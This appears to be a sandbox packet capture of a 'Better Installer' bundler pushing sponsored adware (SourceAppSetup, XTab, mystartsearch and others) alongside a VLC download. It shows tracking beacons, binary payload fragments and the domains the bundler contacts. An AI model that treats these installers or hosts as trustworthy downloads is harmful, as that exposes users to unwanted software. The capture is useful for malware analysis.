Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&0.6190891784801331 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:23 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:23 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=218706-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 218706-583215/583216

Content-Length: 364510

Connection: keep-alive
.........p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...N..~.?..u..).
\..*..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.. .&.;....S..
P.Iw.B....0..[.....3..T.O......#.{.......5.....h....l.>7.C...1U..e`
.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...Dn.#........k
.D....Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..]..R ..H#..A.
p..p...~....)...N~./[email protected](.....*.2....>...=.m....C.....jmpG......
.l... ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W..... /...W?.7o.
.3]A.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...N..-...V xK..
.L.Z.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.Xk....0....f..
{..g....2....O....40 ......?.".........-....5*a.#...U~..I..MH`.....M..
...G..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~..&..11..^.t7
[email protected]...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt.-....[@.....
.lBI.Q...........7....TX^.....0.5.s.'..C.......9...P.....[.f...O.G....
b.D...l......`.........c.."<...'.....X....,........q............)..
./.P.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY
....UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....M.s;..Q..wY%.
.<.........39s.KWI5..-..=L..M.MW .Wq.*[email protected].<
...5.K...Hi..H.d ..k...S.........<.....\..3..q!...8c......o.x...v..
..W......&....q.w.>..<.Dz..\.....>[email protected][.... 
i...o...g..}...eg.._...N.....n>..V3...H|..r....k...BvH..g..\[email protected].
R..'m...e........:.".5...wU.|.....bJ"/[email protected].*...uH.x&o.....&
gt;....E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.3S.S..r..3m.W<<< skipped >>>

GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inifkhjr.com

Connection: Keep-Alive



..../.....Y.....<......$E..........L.p.z.s.R.....:...([email protected]
..|. ..0.1.n..F...]..?..c.<"...f.............2r.....o..h`..t#..*..0
D*..1..xLL.....5.q...&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /....
...&...F.V VU.....`..}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..
4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F
..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z.
.F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.
z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..
4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..FFg..e..%..D..8...]....: 
=.1.!......o..Rn.-/@....!...,w.*.$r..8...........D....F.#.X...........
.Yya......A...1I...J#.._.n....I]..#jl.L.....&.8....pJBG..jN.Zl.O....y/
kC;$.u.._..eR.9....`..i`-c}D.......U.N2.~K..I\..........<|dgb.....G
..x.kY.g....o4.z..mF..y.$\[email protected]@...UgA.CI.....Kv....biQ./31.|
a.m....A[..A...)..2B...c..TAba..*O.........[.......@...$..?..R;#......
9N....wi......n(.^.l...j.-O...!G......:%....qw&.^.,.p.h...e1......P.$.
v.H.....X..B.v\.....QD.}.\7.?.sB.~_0......m.....n... O|P..kNZ..1!=wA:.
.......M.=.9Crg1........v.R..nz...5.k...'.....H..R..u'9.....78..X..,n8
I....:A.x...`....~......t)q..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4
.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.
.4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F...R..x.|u.b...].W,..d.
Oi...R.-'.. ........](....OXFx..Y...v|B.....`.x...c~..2.p.4J....Dm.x..
....?N2..0.W&.VS...o..$.?...E......Zp..Px.....gPF...1.....y..... .<<< skipped >>>

GET /install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Wed, 11 Feb 2015 02:30:50 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 671

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=535559167_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/10 
20:30:50</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Wed, 11 Feb 2015 02:30:50 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2wy0yopxw6nne.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Tue, 10 Feb 2015 15:06:32 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-d66"

Expires: Tue, 10 Feb 2015 15:16:32 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 215

X-Cache: Hit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6L1LjFQ-6Bf9lIYLvhRtTGY4mZSSl9U_SYqIbdvOEF-qDjm9EtwGKQ==

......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w.......
......................................................................
...................................................................\..
.t.~M..@.:p? `*ipz.....4.=.\...........N......s.........K.8..K..%.....
..\...t.~M..@.:p? `*ipz.....4.=.\...........N......s.........K.8..K..%
.......\...t.~M..@.:p? `*ipz.....4.=.\...........N......s.........K.8.
.K..%.......\...t.~M..@.:p? `*ipz.....4.=.\...........N......s........
.K.8..K..%.......\...t.~M..@.:p? `*ipz.....4.=.\...........N......s...
......K.8..K..%.......\...t.~M..@.:p? `*ipz.....4.=.\...........N.

<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2wy0yopxw6nne.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 05:03:41 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 08 Feb 2015 05:13:41 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cTy3SMs55gR5HULkllg5PoKAQnHn8HBv4w1klEBCXeO4aarqQzx13g==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145804-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache



.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected]
......r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8...
....].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.
= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{
.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.
=.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v
....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.
l.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....]....IT.9...h
.h.x-..v>...3(...`.....c..:..:[email protected].&..k.v....gy....`.....;....
...:KI.].....zX?.(.`.....Y.............rQh..r5..M6..".I.I.m.6.8...|...
.u..fJ{...Hw..4..(rG..........%$..<#6/...!..K..&......KO.%..K.h...(
.8k......Z.%.......O.d.a.u;...G.....d..s..M.....'/...0..OX...)wB......
...U....u.Kg..P4.....sW..w.......gT!...S.........=....T....w..........
...*.c..`.....^k.....>.......n0=...5A.D{./....zl..u98J...~A..Q..I..
.U.N.o\.v_..tn.....9.C..^z6..C.~....PIpP.2}(d.........=.Um...]......J.
.3.O.7....}x.cL~bV..U/.].....(..J.v.....$=-..zH.x}DP.M.?.L...m:.B.P9$.
..w.._.y....... , .X.l&....(.....$.h.b............>.3_..8....W1=;G.
..!.t..~wxWc.G..f. ..D..M...3".%\..s......}.y.. ..T..].....:.....U.i..
V.._<....?#8...;E?..H.....~.3C.......z.......8.g.<"&....`...2..e
...2,..)..V] .v.....r..........s.8*...3.F..g....E...'.i.....].I.B.1.h.
2......s.j.......M..9.&^.[....p..%%.Z...v.Z.,)O...X.s28wFT.....J......
F..{{.I.d..v.I..9.E6Y=E.@C.......?0...Xj.Ha$*.9..v..2.b.........h6<<< skipped >>>

GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:32:20 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..1..0..

GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:37 GMT

Content-Type: image/x-icon

Content-Length: 32038

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7d26"

Expires: Wed, 11 Feb 2015 03:01:37 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................<<< skipped >>>

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: image/x-icon

Content-Length: 1150

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-47e"

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Wed, 11 Feb 2015 02:31:38 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Wed, 11 Feb 2015 03:0
1:38 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=2828796-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 19801565

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 2828796-22630360/22630361
...1Iyr][email protected].=..[..[.....C.....O._..[W.,~.j.B..
....%.&!.=qC<.Mi9..1.Bej..w.B...=.\....&.?..p.....-,i.9^.......x...
...[1...hT.*....,.;.....nb..S....~Vn...G.|..I...d:5..M<Q.x8P..Q.k..
.D..:.;.J......X.....^[email protected]..>..l..CG.MH4..M......
M....*a.@..;.J|7A.....(!-d.w-....".H.q".fmC.......8.|[email protected]&
i.....0.;....h......d...w.....,o..c..:h.4):.h.5..}1.........j..=....."
.s...S...eex..2..a..e4b.P...Q.1..........^b7y. .^.OZ.E..&9...wI...b:..
.v...(..u.-w.B..i..y......BX.Y..2.s.\....[w..t.2..aR.^..e...A.7.f.u(.*
..G..$..Iu4...1.....4C.{......%Xh'.[.......B.G.8 (.o.w..?.i.....`Y..)u
...B...7V....9\.!....2N...k....1,.....{[email protected]
%.......'...n...]..\&./@..&U[...([email protected].....<Zn.y../.=;.....
$._GU7..._.W..:..3.........T...'.......U=.G..".[..~'`......4.e/....S..
.e..........e......z..a..l.$<..~0...b..%!K..K...0Q._x..z.x9en....p.
.D.G..7....*.........pn/p"&........Dr*...t...rW...y..kI.%....".>.8.
..3.L.t..)....5....Mr...f-R.Y...*.....4..m....3..9a..F0.j.W..w.n.{Q?.^
F.n.{......G.........V.....%.D: ../...!......=.......H...W/$.....e9..*
rI.OMvz~.I.....J.9..C.|j..W....!.X.:...C..h...-.ktM....S......~...ab..
[email protected][email protected]|^.G..V"...._..K..$O.h..%
..3Q.....VP....=......b.Kk....<V._S...F.L.vY.q...j... .P.{..|...c..
ee.r.....o7.S..Q..ES...P.{......~.9.>_.... ..&....1.(..D.W9[y.V...!
.k.g.\7q..P.jg..k....>..$.r...g.4|..9m..q..4........6@Q\.p;o.....dI
)...=...e|{..-t....c.|..`B....RvK.0.R...'..3.W.........4.9.....[..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.18158201121154166 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=804205-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 482523

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 804205-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IMoNjX5Cn3xu3a4tGqgwtTeoCeXdIyOlgsoGQrjfRV55zP-GbB5LjQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 482523..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 8042
05-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 761f19bc2f
5721b0be0a41147e1e925f.cloudfront.net (CloudFront)..X-Amz-Cf-Id: IMoNj
X5Cn3xu3a4tGqgwtTeoCeXdIyOlgsoGQrjfRV55zP-GbB5LjQ==.......1..2..A.....
.>..j..G....N..gds...g..i*dp*...BqK.y@M:..^......k^.... ]7Y.h20..:.
v..H..G...<[email protected].......~."3~..B>
.".Ype.......)....eH.......:.n.^...=M......4..3L......{H.;k._....#F.:.
\...7.i....a...m...T..=.n.7X..R|[email protected]..%4.u2f ....4.9e
y...J ..........r.XP.../#....Tmk...m..=..f$..'@%....u.(..A)....!w.0...
L=....|Dw.....e.b.tU_..*]..".......9,9..)n...M....,..y.:.(...w7~..N.x.
.?!Y=/\r...i..v.]..o#......-......;.Q..}^...`Q:.......u....#...Qg.....
...v...]L..x. 1@p,.G...4..w.....cj9...&..G,l..D..=.h}d..[|.U...$'..?.Y
<G.....H.....w8.. Y......Q......g. .....i`....D.l..s........1../...
5....".U...(...k.T<...gB8.K.....9`....L.=..`7..O....3J.....`....@|.
...q.9._....<..,....3.G...>..aaB..e.a....M..x.{9...d......(... y
.......Q.......kh.4X. ......~.Z<p.......%//.E....7......Au..e...y.~
..Z.U..{..#.......G/..I..=...y..u....]$.O.|...N.. .I..].M.z...k...l..G
O.....u.w...t.7$....,9.&.]c.F".h!.....Q.........&...!."....7.h..P.<<< skipped >>>

GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:34:06 GMT

Content-Type: application/ocsp-response

Content-Length: 1474

Connection: keep-alive

Set-Cookie: __cfduid=deafc9aa048aa21fb3777e1ff542c28001423622046; expires=Thu, 11-Feb-16 02:34:06 GMT; path=/; domain=.globalsign.com; HttpOnly

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: 41da4d9b9894bcd6e3de476d6d2f5c7abbcf98c5

Expires: Wed, 11 Feb 2015 07:18:08 GMT

Last-Modified: Tue, 10 Feb 2015 19:18:08 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b6d2541ab740f75-FRA
0..........0..... .....0......0...0......U.<r...{C...(.I.......2015
0210191808Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..
../Pz...!G..Br-\A.'...Nu.....20150210191808Z....20150211071808Z0...*.H
[email protected]$].i.....'.VM..a"!.4D............,..P...&g
t;92..^.."..a.{..... y......H[x...uA.Yz../..h.\.n..`..YS....;..._.....
..v.S,....{.../.....T.....tY.....n1..........x.x.x....)0..y.:,.f......
.G....yk.l..-.=rd._..d..Q..F....PS...k..UMV.vtn.....5-O...Wl....0...0.
..0...........!....I~.Z.v.#...@0...*.H........0Q1.0...U....BE1.0...U..
..GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1412121
